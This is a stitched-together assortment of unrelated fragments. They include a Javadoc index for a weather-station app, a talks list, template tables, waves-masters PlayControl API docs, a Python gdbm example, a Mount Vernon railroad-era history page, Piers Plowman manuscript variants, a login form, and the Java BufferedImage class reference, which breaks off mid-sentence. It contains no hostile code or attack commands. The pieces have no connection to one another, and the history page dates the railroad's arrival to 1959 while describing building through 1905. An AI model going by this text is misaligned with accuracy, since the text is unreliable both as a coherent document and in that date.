- setStation(Station, StationData) - Method in class View.MainPanel
-
Set Current Station data
- setValueAt(Object, int, int) - Method in class View.StationHistory.SampleTableModel
-
- setWindowRect(Point, Dimension) - Method in class Model.AppState
-
- showMainScreen() - Method in class View.Main
-
Show appropriate main screen
- shownDetail - Variable in class Model.AppState
-
- shownWindow - Variable in class Model.AppState
-
- showPreviousSession() - Method in class View.Main
-
- showState(int, String) - Method in class View.Main
-
Change App State
- showState(int, String) - Method in class View.MainPanel
-
Change App State
- size() - Method in class Model.Favorites
-
Returns the number of favorites.
- state - Variable in class Model.AppState
-
- state - Variable in class Model.Favorite
-
Name of state.
- State - Class in Model
-
Data structure for representing a state.
- State(String) - Constructor for class Model.State
-
Creates a new state instance.
- States - Class in Model
-
Data structure for representing a collection of states.
- States() - Constructor for class Model.States
-
- states - Static variable in class View.AppDefine
-
Current data used by the view.
- station - Variable in class Model.AppState
-
- station - Variable in class Model.Favorite
-
Name of station.
- Station - Class in Model
-
Data structure for representing a station.
- Station(State, String, String, String) - Constructor for class Model.Station
-
Creates a new station.
- STATION_DETAIL - Static variable in class View.AppDefine
-
- StationCell - Class in View
-
A Station Cell for repeating in favorite list.
- StationCell(MainPanel, Favorite, boolean) - Constructor for class View.StationCell
-
Create the panel.
- StationChart - Class in View
-
Chart UI
- StationChart(MainPanel) - Constructor for class View.StationChart
-
Create the panel.
- StationData - Class in Model
-
Object for storing information about a station obtained from BOM.
- StationData(String, String, String, List<LatestReading>, List<HistoricalReading>) - Constructor for class Model.StationData
-
Creates a station data instance.
- StationDataWorker - Class in Utils
-
Used for downloading BOM station data asynchronously.
- StationDataWorker(Station) - Constructor for class Utils.StationDataWorker
-
Creates a new worker instance.
- StationDataWorker.OnTaskCompleteListener - Interface in Utils
-
The success/fail listener interface.
- StationDetail - Class in View
-
Detail information UI in Main Screen
- StationDetail(MainPanel) - Constructor for class View.StationDetail
-
Create the panel.
- StationHistory - Class in View
-
Show all weather history table UI
- StationHistory(MainPanel) - Constructor for class View.StationHistory
-
Create the panel.
- StationHistory.SampleTableModel - Class in View
-
Sample Table Model for the UI
- StationHistory.SampleTableModel() - Constructor for class View.StationHistory.SampleTableModel
-
- SwingUtils - Class in Utils
-
Operations related to Swing.
- SwingUtils() - Constructor for class Utils.SwingUtils
-


---
extends: minimal.j2
default_block: main
title: Talks
description: Talks I have given
---
| Description | Date | Link |
|-------------|------|------|
| Tech-share at Continuum Analytics | 22 May 2015 | link |
| Graduate Student/Postdoc Seminar talk on Packaging Python Code | 06 Nov 2015 | link |


| Line 1 | {{address.line_1 || 'None'}} |
|---|---|
| Line 2 | {{address.line_2 || 'None'}} |
| City | {{address.city || 'None'}} |
| State/province | {{address.state_province || 'None'}} |
| Country | {{address.country || 'None' | isoCountry}} |
| Postal code | {{address.postal_code || 'None'}} |
| Status | {{address.status | capitalizeWord}} |


---
layout: post
type: post
status: publish
tags:
- kolkata
- Non-technical
- saturday
- startup
- Technical
meta:
_wpbitly: http://q.bibhas.in/HumgVW
_wp_old_slug: startup-saturday-kol-december-10
_edit_last: "1"
published: true
title: "Startup Saturday Kolkata \xE2\x80\x93 Tweets"
---
Just a Live stream for following the tweets made from the Event spot. :)


Constructor
new PlayControl(scheduler, engine)
Parameters:
| Name | Type | Description |
|---|---|---|
scheduler |
Object | instance of Scheduler |
engine |
TimeEngine | engine to control |
- Source:
Example
import masters from 'waves-masters';
const getTimeFunction = () => {
const now = process.hrtime();
return now[0] + now[1] * 1e-9;
}
const scheduler = new masters.Scheduler(getTimeFunction);
const playerEngine = new MyTimeEngine();
const playControl = new masters.PlayControl(scheduler, playerEngine);
playControl.start();
Extends
Members
(readonly) audioTime :Number
Get current master time.
Type:
- Number
- Overrides:
- Source:
(readonly) currentPosition :Number
Get current master position. This function will be replaced when the play-control is added to a master.
Type:
- Number
- Overrides:
- Source:
(readonly) currentTime :Number
Get current master time.
Type:
- Number
- Overrides:
- Source:
loop :Boolean
Sets the play control loop behavior.
Type:
- Boolean
- Source:
loopEnd :Number
Sets loop end value
Type:
- Number
- Source:
loopStart :Number
Sets loop start value
Type:
- Number
- Source:
(readonly) running :Boolean
Returns if the play control is running.
Type:
- Boolean
- Source:
speed :Number
If speed if provided, sets the playback speed. The speed value should be non-zero between -16 and -1/16 or between 1/16 and 16.
Type:
- Number
- Source:
Methods
pause()
Pauses playback and stays at the same position.
- Source:
seek(position)
Set (jump to) playing position.
Parameters:
| Name | Type | Description |
|---|---|---|
position |
Number | target position |
- Source:
setLoopBoundaries(loopStart, loopEnd)
Sets loop start and end time.
Parameters:
| Name | Type | Description |
|---|---|---|
loopStart |
Number | loop start value. |
loopEnd |
Number | loop end value. |
- Source:
start()
Starts playback
- Source:
stop()
Stops playback and seeks to initial (0) position.
- Source:


| I l@ve RuBoard |
10.8 The gdbm Module(Optional) The gdbm module provides an interface to the GNU dbm database handler, as Example 10-8 shows. Example 10-8. Using the gdbm ModuleFile: gdbm-example-1.py import gdbm db = gdbm.open("gdbm", "c") db["1"] = "call" db["2"] = "the" db["3"] = "next" db["4"] = "defendant" db.close() db = gdbm.open("gdbm", "r") keys = db.keys() keys.sort() for key in keys: print db[key], call the next defendant |
| I l@ve RuBoard |


The Railroad Era
When the railroad pushed through to the north edge of town in 1959, every aspect of life soon changed. It proved beneficial to the college because more students could reach the school from greater distances. Merchants could order new merchandise. Easy rail access stimulated town residential development.
A boom of varied construction was touched off. Contractors utilized new building materials and "plan book" designs. In fact, new construction reflected a steady increase in Mount Vernon's population through 1905. The 1890's in particular were notable for new housing, with as many as 30 homes built in a year.
Many still stand today.
The brick home of the Reuben A. Ash estate (1854-1863) is the centerpiece of a number of substantial homes built in the northwest section of Mount Vernon. The Ash Park Addition has many Victorian homes that are still standing strong today. They represent a broad palette of architectural types that flourished with the railroad years.
Look closely at the architectural work of these homes in the Details section of the MVHPC Web Site.
Continue to The Cornell College Era
home


| 999 | (A) | the freke for the faynnes of the Fadirs blysse |
| 1004 | (C) | ¶ That prince for his feynnes . of his faderes worshyppe |
| 986 | (D) | The freke for þe faynhode of his fadir blisse |
| 966 | (E) | ¶ So for greet faynhod . of his fader blisse |
| (Ex) | ---- no text ---- | |
| 1024 | (L) | þe freke for þe fayndom of þe fadere blysse |
| 939 | (P) | þ e freke for þe fantom of his fader ????? |
| 977 | (U) | The freke for the faynhede / of his fader blisse |
| 64 | (V) | þat freek for þe fainesse . of his fadir blisse |


SIGN IN
Username:
Password:
Login
Don't have an account?
Register
SIGN UP
Username:
Email:
Password:
Retype Password:
Register
Already have an account ?
Sign Up


When clicking on the button, retrieves the id in the form, then deletes the X-Men corresponding in the API and display the result of your request in the console.
When clicking on the button, retrieves the id in the form, then deletes the X-Men corresponding in the API and display the result of your request in the console.


Teams
Toolbelt
HighRollers
Prompt
DataMasking
Hammerheads
ICloneables
Spiders
SQLCrackers
TeamUP
Clear
Redgate
Full Radar


|
JavaTM 2 Platform Standard Ed. 5.0 |
|||||||||
| PREV CLASS NEXT CLASS | FRAMES NO FRAMES | |||||||||
| SUMMARY: NESTED | FIELD | CONSTR | METHOD | DETAIL: FIELD | CONSTR | METHOD |
java.lang.Object java.awt.Image java.awt.image.BufferedImage
public class BufferedImage
The BufferedImage
subclass describes an Image
with an accessible buffer of image data.
A BufferedImage
is comprised of a ColorModel
and a
Raster
of image data.
The number and types of bands in the SampleModel
of the
Raster
must match the number and types required by the
ColorModel
to represent its color and alpha components.
All BufferedImage
objects have an upper left corner
coordinate of (0, 0). Any Raster
used to construct a
BufferedImage
must therefore have minX=0 and minY=0.
This class relies on the data fetching and setting methods
of Raster
,
and on the color characterization methods of ColorModel
.
ColorModel
,
Raster
,
WritableRaster
| Field Summary | |
|---|---|
static int |
TYPE_3BYTE_BGR
Represents an image with 8-bit RGB color components, corresponding to a Windows-style BGR color model) with the colors Blue, Green, and Red stored in 3 bytes. |
static int |
TYPE_4BYTE_ABGR
Represents an image with 8-bit RGBA color components with the colors Blue, Green, and Red stored in 3 bytes and 1 byte of alpha. |
static int |
TYPE_4BYTE_ABGR_PRE
Represents an image with 8-bit RGBA color components with the colors Blue, Green, and Red stored in 3 bytes and 1 byte of alpha. |
static int |
TYPE_BYTE_BINARY
Represents an opaque byte-packed 1, 2, or 4 bit image. |
static int |
TYPE_BYTE_GRAY
Represents a unsigned byte grayscale image, non-indexed. |
static int |
TYPE_BYTE_INDEXED
Represents an indexed byte image. |
static int |
TYPE_CUSTOM
Image type is not recognized so it must be a customized image. |
static int |
TYPE_INT_ARGB
Represents an image with 8-bit RGBA color components packed into integer pixels. |
static int |
TYPE_INT_ARGB_PRE
Represents an image with 8-bit RGBA color components packed into integer pixels. |
static int |
TYPE_INT_BGR
Represents an image with 8-bit RGB color components, corresponding to a Windows- or Solaris- style BGR color model, with the colors Blue, Green, and Red packed into integer pixels. |
static int |
TYPE_INT_RGB
Represents an image with 8-bit RGB color components packed into integer pixels. |
static int |
TYPE_USHORT_555_RGB
Represents an image with 5-5-5 RGB color components (5-bits red, 5-bits green, 5-bits blue) with no alpha. |
static int |
TYPE_USHORT_565_RGB
Represents an image with 5-6-5 RGB color components (5-bits red, 6-bits green, 5-bits blue) with no alpha. |
static int |
TYPE_USHORT_GRAY
Represents an unsigned short grayscale image, non-indexed). |
| Fields inherited from class java.awt.Image |
|---|
accelerationPriority, SCALE_AREA_AVERAGING, SCALE_DEFAULT, SCALE_FAST, SCALE_REPLICATE, SCALE_SMOOTH, UndefinedProperty |
| Fields inherited from interface java.awt.Transparency |
|---|
BITMASK, OPAQUE, TRANSLUCENT |
| Constructor Summary | |
|---|---|
BufferedImage(ColorModel cm,
WritableRaster raster,
boolean isRasterPremultiplied,
Hashtable<?,?> properties)
Constructs a new BufferedImage with a specified
ColorModel and Raster . |
|
BufferedImage(int width,
int height,
int imageType)
Constructs a BufferedImage of one of the predefined
image types. |
|
BufferedImage(int width,
int height,
int imageType,
IndexColorModel cm)
Constructs a BufferedImage of one of the predefined
image types:
TYPE_BYTE_BINARY or TYPE_BYTE_INDEXED. |
| Method Summary | |
|---|---|
void |
addTileObserver(TileObserver to)
Adds a tile observer. |
void |
coerceData(boolean isAlphaPremultiplied)
Forces the data to match the state specified in the isAlphaPremultiplied variable. |
WritableRaster |
copyData(WritableRaster outRaster)
Computes an arbitrary rectangular region of the BufferedImage and copies it into a specified
WritableRaster . |
Graphics2D |
createGraphics()
Creates a Graphics2D , which can be used to draw into
this BufferedImage . |
void |
flush()
Flushes all resources being used to cache optimization information. |
WritableRaster |
getAlphaRaster()
Returns a WritableRaster representing the alpha
channel for BufferedImage objects
with ColorModel objects that support a separate
spatial alpha channel, such as ComponentColorModel and
DirectColorModel . |
ImageCapabilities |
getCapabilities(GraphicsConfiguration gc)
This overrides Image.getCapabilities(gc) to get the capabilities of its surfaceManager. |
ColorModel |
getColorModel()
Returns the ColorModel . |
Raster |
getData()
Returns the image as one large tile. |
Raster |
getData(Rectangle rect)
Computes and returns an arbitrary region of the BufferedImage . |
Graphics |
getGraphics()
This method returns a Graphics2D , but is here
for backwards compatibility. |
int |
getHeight()
Returns the height of the BufferedImage . |
int |
getHeight(ImageObserver observer)
Returns the height of the BufferedImage . |
int |
getMinTileX()
Returns the minimum tile index in the x direction. |
int |
getMinTileY()
Returns the minimum tile index in the y direction. |
int |
getMinX()
Returns the minimum x coordinate of this BufferedImage . |
int |
getMinY()
Returns the minimum y coordinate of this BufferedImage . |
int |
getNumXTiles()
Returns the number of tiles in the x direction. |
int |
getNumYTiles()
Returns the number of tiles in the y direction. |
Object |
getProperty(String name)
Returns a property of the image by name. |
Object |
getProperty(String name,
ImageObserver observer)
Returns a property of the image by name. |
String[] |
getPropertyNames()
Returns an array of names recognized by getProperty(String)
or null , if no property names are recognized. |
WritableRaster |
getRaster()
Returns the WritableRaster . |
int |
getRGB(int x,
int y)
Returns an integer pixel in the default RGB color model (TYPE_INT_ARGB) and default sRGB colorspace. |
int[] |
getRGB(int startX,
int startY,
int w,
int h,
int[] rgbArray,
int offset,
int scansize)
Returns an array of integer pixels in the default RGB color model (TYPE_INT_ARGB) and default sRGB color space, from a portion of the image data. |
SampleModel |
getSampleModel()
Returns the SampleModel associated with this
BufferedImage . |
ImageProducer |
getSource()
Returns the object that produces the pixels for the image. |
Vector<RenderedImage> |
getSources()
Returns a Vector of RenderedImage objects that are
the immediate sources, not the sources of these immediate sources,
of image data for this BufferedImage . |
BufferedImage |
getSubimage(int x,
int y,
int w,
int h)
Returns a subimage defined by a specified rectangular region. |
Raster |
getTile(int tileX,
int tileY)
Returns tile ( tileX , tileY ). |
int |
getTileGridXOffset()
Returns the x offset of the tile grid relative to the origin, For example, the x coordinate of the location of tile (0, 0). |
int |
getTileGridYOffset()
Returns the y offset of the tile grid relative to the origin, For example, the y coordinate of the location of tile (0, 0). |
int |
getTileHeight()
Returns the tile height in pixels. |
int |
getTileWidth()
Returns the tile width in pixels. |
int |
getTransparency()
Returns the transparency. |
int |
getType()
Returns the image type. |
int |
getWidth()
Returns the width of the BufferedImage . |
int |
getWidth(ImageObserver observer)
Returns the width of the BufferedImage . |
WritableRaster |
getWritableTile(int tileX,
int tileY)
Checks out a tile for writing. |
Point[] |
getWritableTileIndices()
Returns an array of Point objects indicating which tiles
are checked out for writing. |
boolean |
hasTileWriters()
Returns whether or not any tile is checked out for writing. |
boolean |
isAlphaPremultiplied()
Returns whether or not the alpha has been premultiplied. |
boolean |
isTileWritable(int tileX,
int tileY)
Returns whether or not a tile is currently checked out for writing. |
void |
releaseWritableTile(int tileX,
int tileY)
Relinquishes permission to write to a tile. |
void |
removeTileObserver(TileObserver to)
Removes a tile observer. |
void |
setData(Raster r)
Sets a rectangular region of the image to the contents of the specified Raster r , which is
assumed to be in the same coordinate space as the
BufferedImage . |
void |
setRGB(int x,
int y,
int rgb)
Sets a pixel in this BufferedImage to the specified
RGB value. |
void |
setRGB(int startX,
int startY,
int w,
int h,
int[] rgbArray,
int offset,
int scansize)
Sets an array of integer pixels in the default RGB color model (TYPE_INT_ARGB) and default sRGB color space, into a portion of the image data. |
String |
toString()
Returns a String representation of this
BufferedImage object and its values. |
| Methods inherited from class java.awt.Image |
|---|
getAccelerationPriority, getScaledInstance, setAccelerationPriority |
| Methods inherited from class java.lang.Object |
|---|
clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait |
| Field Detail |
|---|
public static final int TYPE_CUSTOM
public static final int TYPE_INT_RGB
DirectColorModel
without
alpha.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_INT_ARGB
DirectColorModel
with alpha. The color data in this image is considered not to be
premultiplied with alpha. When this type is used as the
imageType
argument to a BufferedImage
constructor, the created image is consistent with images
created in the JDK1.1 and earlier releases.
public static final int TYPE_INT_ARGB_PRE
DirectColorModel
with alpha. The color data in this image is considered to be
premultiplied with alpha.
public static final int TYPE_INT_BGR
DirectColorModel
.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_3BYTE_BGR
ComponentColorModel
.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_4BYTE_ABGR
ComponentColorModel
with alpha. The
color data in this image is considered not to be premultiplied with
alpha. The byte data is interleaved in a single
byte array in the order A, B, G, R
from lower to higher byte addresses within each pixel.
public static final int TYPE_4BYTE_ABGR_PRE
ComponentColorModel
with alpha. The color
data in this image is considered to be premultiplied with alpha.
The byte data is interleaved in a single byte array in the order
A, B, G, R from lower to higher byte addresses within each pixel.
public static final int TYPE_USHORT_565_RGB
DirectColorModel
.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_USHORT_555_RGB
DirectColorModel
.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_BYTE_GRAY
ComponentColorModel
with a CS_GRAY
ColorSpace
.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_USHORT_GRAY
ComponentColorModel
with a CS_GRAY
ColorSpace
.
When data with non-opaque alpha is stored
in an image of this type,
the color data must be adjusted to a non-premultiplied form
and the alpha discarded,
as described in the
AlphaComposite
documentation.
public static final int TYPE_BYTE_BINARY
IndexColorModel
without alpha. When this
type is used as the imageType
argument to the
BufferedImage
constructor that takes an
imageType
argument but no ColorModel
argument, a 1-bit image is created with an
IndexColorModel
with two colors in the default
sRGB ColorSpace
: {0, 0, 0} and
{255, 255, 255}.
Images with 2 or 4 bits per pixel may be constructed via
the BufferedImage
constructor that takes a
ColorModel
argument by supplying a
ColorModel
with an appropriate map size.
Images with 8 bits per pixel should use the image types
TYPE_BYTE_INDEXED
or TYPE_BYTE_GRAY
depending on their ColorModel
.
When color data is stored in an image of this type,
the closest color in the colormap is determined
by the IndexColorModel
and the resulting index is stored.
Approximation and loss of alpha or color components
can result, depending on the colors in the
IndexColorModel
colormap.
public static final int TYPE_BYTE_INDEXED
imageType
argument to the BufferedImage
constructor that takes an imageType
argument
but no ColorModel
argument, an
IndexColorModel
is created with
a 256-color 6/6/6 color cube palette with the rest of the colors
from 216-255 populated by grayscale values in the
default sRGB ColorSpace.
When color data is stored in an image of this type,
the closest color in the colormap is determined
by the IndexColorModel
and the resulting index is stored.
Approximation and loss of alpha or color components
can result, depending on the colors in the
IndexColorModel
colormap.
| Constructor Detail |
|---|
public BufferedImage(int width, int height, int imageType)
BufferedImage
of one of the predefined
image types. The ColorSpace
for the image is the
default sRGB space.
width
- width of the created imageheight
- height of the created imageimageType
- type of the created imageColorSpace
,
TYPE_INT_RGB
,
TYPE_INT_ARGB
,
TYPE_INT_ARGB_PRE
,
TYPE_INT_BGR
,
TYPE_3BYTE_BGR
,
TYPE_4BYTE_ABGR
,
TYPE_4BYTE_ABGR_PRE
,
TYPE_BYTE_GRAY
,
TYPE_USHORT_GRAY
,
TYPE_BYTE_BINARY
,
TYPE_BYTE_INDEXED
,
TYPE_USHORT_565_RGB
,
TYPE_USHORT_555_RGB
public BufferedImage(int width, int height, int imageType, IndexColorModel cm)
BufferedImage
of one of the predefined
image types:
TYPE_BYTE_BINARY or TYPE_BYTE_INDEXED.
If the image type is TYPE_BYTE_BINARY, the number of entries in the color model is used to determine whether the image should have 1, 2, or 4 bits per pixel. If the color model has 1 or 2 entries, the image will have 1 bit per pixel. If it has 3 or 4 entries, the image with have 2 bits per pixel. If it has between 5 and 16 entries, the image will have 4 bits per pixel. Otherwise, an IllegalArgumentException will be thrown.
width
- width of the created imageheight
- height of the created imageimageType
- type of the created imagecm
- IndexColorModel
of the created image
IllegalArgumentException
- if the imageType is not
TYPE_BYTE_BINARY or TYPE_BYTE_INDEXED or if the imageType is
TYPE_BYTE_BINARY and the color map has more than 16 entries.TYPE_BYTE_BINARY
,
TYPE_BYTE_INDEXED
public BufferedImage(ColorModel cm, WritableRaster raster, boolean isRasterPremultiplied, Hashtable<?,?> properties)
BufferedImage
with a specified
ColorModel
and Raster
. If the number and
types of bands in the SampleModel
of the
Raster
do not match the number and types required by
the ColorModel
to represent its color and alpha
components, a RasterFormatException
is thrown. This
method can multiply or divide the color Raster
data by
alpha to match the alphaPremultiplied
state
in the ColorModel
. Properties for this
BufferedImage
can be established by passing
in a Hashtable
of String
/Object
pairs.
cm
- ColorModel
for the new imageraster
- Raster
for the image dataisRasterPremultiplied
- if true
, the data in
the raster has been premultiplied with alpha.properties
- Hashtable
of
String
/Object
pairs.
RasterFormatException
- if the number and
types of bands in the SampleModel
of the
Raster
do not match the number and types required by
the ColorModel
to represent its color and alpha
components.
IllegalArgumentException
- if
raster
is incompatible with cm
ColorModel
,
Raster
,
WritableRaster
| Method Detail |
|---|
public int getType()
BufferedImage
.TYPE_INT_RGB
,
TYPE_INT_ARGB
,
TYPE_INT_ARGB_PRE
,
TYPE_INT_BGR
,
TYPE_3BYTE_BGR
,
TYPE_4BYTE_ABGR
,
TYPE_4BYTE_ABGR_PRE
,
TYPE_BYTE_GRAY
,
TYPE_BYTE_BINARY
,
TYPE_BYTE_INDEXED
,
TYPE_USHORT_GRAY
,
TYPE_USHORT_565_RGB
,
TYPE_USHORT_555_RGB
,
TYPE_CUSTOM
public ColorModel getColorModel()
ColorModel
.
getColorModel
in interface RenderedImage
ColorModel
of this
BufferedImage
.public WritableRaster getRaster()
WritableRaster
.
WriteableRaster
of this
BufferedImage
.public WritableRaster getAlphaRaster()
WritableRaster
representing the alpha
channel for BufferedImage
objects
with ColorModel
objects that support a separate
spatial alpha channel, such as ComponentColorModel
and
DirectColorModel
. Returns null
if there
is no alpha channel associated with the ColorModel
in
this image. This method assumes that for all
ColorModel
objects other than
IndexColorModel
, if the ColorModel
supports alpha, there is a separate alpha channel
which is stored as the last band of image data.
If the image uses an IndexColorModel
that
has alpha in the lookup table, this method returns
null
since there is no spatially discrete alpha
channel. This method creates a new
WritableRaster
, but shares the data array.
WritableRaster
or null
if this
BufferedImage
has no alpha channel associated
with its ColorModel
.public int getRGB(int x, int y)
ColorModel
. There are only 8-bits of
precision for each color component in the returned data when using
this method.
An ArrayOutOfBoundsException
may be thrown
if the coordinates are not in bounds.
However, explicit bounds checking is not guaranteed.
x, y
- the coordinates of the pixel from which to get
the pixel in the default RGB color model and sRGB
color space
setRGB(int, int, int)
,
setRGB(int, int, int, int, int[], int, int)
public int[] getRGB(int startX, int startY, int w, int h, int[] rgbArray, int offset, int scansize)
ColorModel
. There are only 8-bits of precision for
each color component in the returned data when
using this method. With a specified coordinate (x, y) in the
image, the ARGB pixel can be accessed in this way:
pixel = rgbArray[offset + (y-startY)*scansize + (x-startX)];
An ArrayOutOfBoundsException
may be thrown
if the region is not in bounds.
However, explicit bounds checking is not guaranteed.
startX, startY
- the starting coordinatesw
- width of regionh
- height of regionrgbArray
- if not null
, the rgb pixels are
written hereoffset
- offset into the rgbArray
scansize
- scanline stride for the rgbArray
setRGB(int, int, int)
,
setRGB(int, int, int, int, int[], int, int)
public void setRGB(int x, int y, int rgb)
BufferedImage
to the specified
RGB value. The pixel is assumed to be in the default RGB color
model, TYPE_INT_ARGB, and default sRGB color space. For images
with an IndexColorModel
, the index with the nearest
color is chosen.
An ArrayOutOfBoundsException
may be thrown
if the coordinates are not in bounds.
However, explicit bounds checking is not guaranteed.
x, y
- the coordinates of the pixel to setrgb
- the RGB valuegetRGB(int, int)
,
getRGB(int, int, int, int, int[], int, int)
public void setRGB(int startX, int startY, int w, int h, int[] rgbArray, int offset, int scansize)
ColorModel
. There are only 8-bits of precision for
each color component in the returned data when
using this method. With a specified coordinate (x, y) in the
this image, the ARGB pixel can be accessed in this way:
pixel = rgbArray[offset + (y-startY)*scansize + (x-startX)];WARNING: No dithering takes place.
An ArrayOutOfBoundsException
may be thrown
if the region is not in bounds.
However, explicit bounds checking is not guaranteed.
startX, startY
- the starting coordinatesw
- width of the regionh
- height of the regionrgbArray
- the rgb pixelsoffset
- offset into the rgbArray
scansize
- scanline stride for the rgbArray
getRGB(int, int)
,
getRGB(int, int, int, int, int[], int, int)
public int getWidth()
BufferedImage
.
getWidth
in interface RenderedImage
BufferedImage
public int getHeight()
BufferedImage
.
getHeight
in interface RenderedImage
BufferedImage
public int getWidth(ImageObserver observer)
BufferedImage
.
getWidth
in class Image
observer
- ignored
BufferedImage
Image.getHeight(java.awt.image.ImageObserver)
,
ImageObserver
public int getHeight(ImageObserver observer)
BufferedImage
.
getHeight
in class Image
observer
- ignored
BufferedImage
Image.getWidth(java.awt.image.ImageObserver)
,
ImageObserver
public ImageProducer getSource()
getSource
in class Image
ImageProducer
that is used to produce the
pixels for this image.ImageProducer
public Object getProperty(String name, ImageObserver observer)
UndefinedProperty
field. If the properties
for this image are not yet known, then this method returns
null
and the ImageObserver
object is
notified later. The property name "comment" should be used to
store an optional comment that can be presented to the user as a
description of the image, its source, or its author.
getProperty
in class Image
name
- the property nameobserver
- the ImageObserver
that receives
notification regarding image information
Object
that is the property referred to by the
specified name
or null
if the
properties of this image are not yet known.
NullPointerException
- if the property name is null.- See Also:
ImageObserver
,
Image.UndefinedProperty
public Object getProperty(String name)
getProperty
in interface RenderedImage
name
- the property name
Object
that is the property referred to by
the specified name
.
NullPointerException
- if the property name is null.- See Also:
Image.UndefinedProperty
public void flush()
flush
in class Image
public Graphics getGraphics()
Graphics2D
, but is here
for backwards compatibility. createGraphics
is more
convenient, since it is declared to return a
Graphics2D
.
getGraphics
in class Image
Graphics2D
, which can be used to draw into
this image.Graphics
,
Component.createImage(int, int)
public Graphics2D createGraphics()
Graphics2D
, which can be used to draw into
this BufferedImage
.
Graphics2D
, used for drawing into this
image.public BufferedImage getSubimage(int x, int y, int w, int h)
BufferedImage
shares the same
data array as the original image.
x, y
- the coordinates of the upper-left corner of the
specified rectangular regionw
- the width of the specified rectangular regionh
- the height of the specified rectangular region
BufferedImage
that is the subimage of this
BufferedImage
.
RasterFormatException
- if the specified
area is not contained within this BufferedImage
.public boolean isAlphaPremultiplied()
false
if there is no alpha.
true
if the alpha has been premultiplied;
false
otherwise.public void coerceData(boolean isAlphaPremultiplied)
isAlphaPremultiplied
variable. It may multiply or
divide the color raster data by alpha, or do nothing if the data is
in the correct state.
isAlphaPremultiplied
- true
if the alpha has been
premultiplied; false
otherwise.public String toString()
String
representation of this
BufferedImage
object and its values.
toString
in class Object
String
representing this
BufferedImage
.public Vector<RenderedImage> getSources()
Vector
of RenderedImage
objects that are
the immediate sources, not the sources of these immediate sources,
of image data for this BufferedImage
. This
method returns null
if the BufferedImage
has no information about its immediate sources. It returns an
empty Vector
if the BufferedImage
has no
immediate sources.
getSources
in interface RenderedImage
Vector
containing immediate sources of
this BufferedImage
object's image date, or
null
if this BufferedImage
has
no information about its immediate sources, or an empty
Vector
if this BufferedImage
has no immediate sources.public String[] getPropertyNames()
getProperty(String)
or null
, if no property names are recognized.
getPropertyNames
in interface RenderedImage
String
array containing all of the property
names that getProperty(String)
recognizes;
or null
if no property names are recognized.public int getMinX()
BufferedImage
. This is always zero.
getMinX
in interface RenderedImage
BufferedImage
.public int getMinY()
BufferedImage
. This is always zero.
getMinY
in interface RenderedImage
BufferedImage
.public SampleModel getSampleModel()
SampleModel
associated with this
BufferedImage
.
getSampleModel
in interface RenderedImage
SampleModel
of this
BufferedImage
.public int getNumXTiles()
getNumXTiles
in interface RenderedImage
public int getNumYTiles()
getNumYTiles
in interface RenderedImage
public int getMinTileX()
getMinTileX
in interface RenderedImage
public int getMinTileY()
getMinTileY
in interface RenderedImage
public int getTileWidth()
getTileWidth
in interface RenderedImage
public int getTileHeight()
getTileHeight
in interface RenderedImage
public int getTileGridXOffset()
getTileGridXOffset
in interface RenderedImage
public int getTileGridYOffset()
getTileGridYOffset
in interface RenderedImage
public Raster getTile(int tileX, int tileY)
tileX
, tileY
). Note
that tileX
and tileY
are indices
into the tile array, not pixel locations. The Raster
that is returned is live, which means that it is updated if the
image is changed.
getTile
in interface RenderedImage
tileX
- the x index of the requested tile in the tile arraytileY
- the y index of the requested tile in the tile array
Raster
that is the tile defined by the
arguments tileX
and tileY
.
ArrayIndexOutOfBoundsException
- if both
tileX
and tileY
are not
equal to 0public Raster getData()
Raster
returned is a copy of the image data is not updated if the
image is changed.
getData
in interface RenderedImage
Raster
that is a copy of the image data.setData(Raster)
public Raster getData(Rectangle rect)
BufferedImage
. The Raster
returned is a
copy of the image data and is not updated if the image is
changed.
getData
in interface RenderedImage
rect
- the region of the BufferedImage
to be
returned.
Raster
that is a copy of the image data of
the specified region of the BufferedImage
setData(Raster)
public WritableRaster copyData(WritableRaster outRaster)
BufferedImage
and copies it into a specified
WritableRaster
. The region to be computed is
determined from the bounds of the specified
WritableRaster
. The specified
WritableRaster
must have a
SampleModel
that is compatible with this image. If
outRaster
is null
,
an appropriate WritableRaster
is created.
copyData
in interface RenderedImage
outRaster
- a WritableRaster
to hold the returned
part of the image, or null
WritableRaster
.public void setData(Raster r)
Raster
r
, which is
assumed to be in the same coordinate space as the
BufferedImage
. The operation is clipped to the bounds
of the BufferedImage
.
setData
in interface WritableRenderedImage
r
- the specified Raster
getData()
,
getData(Rectangle)
public void addTileObserver(TileObserver to)
addTileObserver
in interface WritableRenderedImage
to
- the specified TileObserver
public void removeTileObserver(TileObserver to)
removeTileObserver
in interface WritableRenderedImage
to
- the specified TileObserver
.public boolean isTileWritable(int tileX, int tileY)
isTileWritable
in interface WritableRenderedImage
tileX
- the x index of the tile.tileY
- the y index of the tile.
true
if the tile specified by the specified
indices is checked out for writing; false
otherwise.
ArrayIndexOutOfBoundsException
- if both
tileX
and tileY
are not equal
to 0public Point[] getWritableTileIndices()
Point
objects indicating which tiles
are checked out for writing. Returns null
if none are
checked out.
getWritableTileIndices
in interface WritableRenderedImage
Point
array that indicates the tiles that
are checked out for writing, or null
if no
tiles are checked out for writing.public boolean hasTileWriters()
(getWritableTileIndices() != null).
hasTileWriters
in interface WritableRenderedImage
true
if any tile is checked out for writing;
false
otherwise.public WritableRaster getWritableTile(int tileX, int tileY)
TileObservers
are notified when a tile goes from having
no writers to having one writer.
getWritableTile
in interface WritableRenderedImage
tileX
- the x index of the tiletileY
- the y index of the tile
WritableRaster
that is the tile, indicated by
the specified indices, to be checked out for writing.public void releaseWritableTile(int tileX, int tileY)
getWritableTile(int, int)
. Any other leads
to undefined results. All registered TileObservers
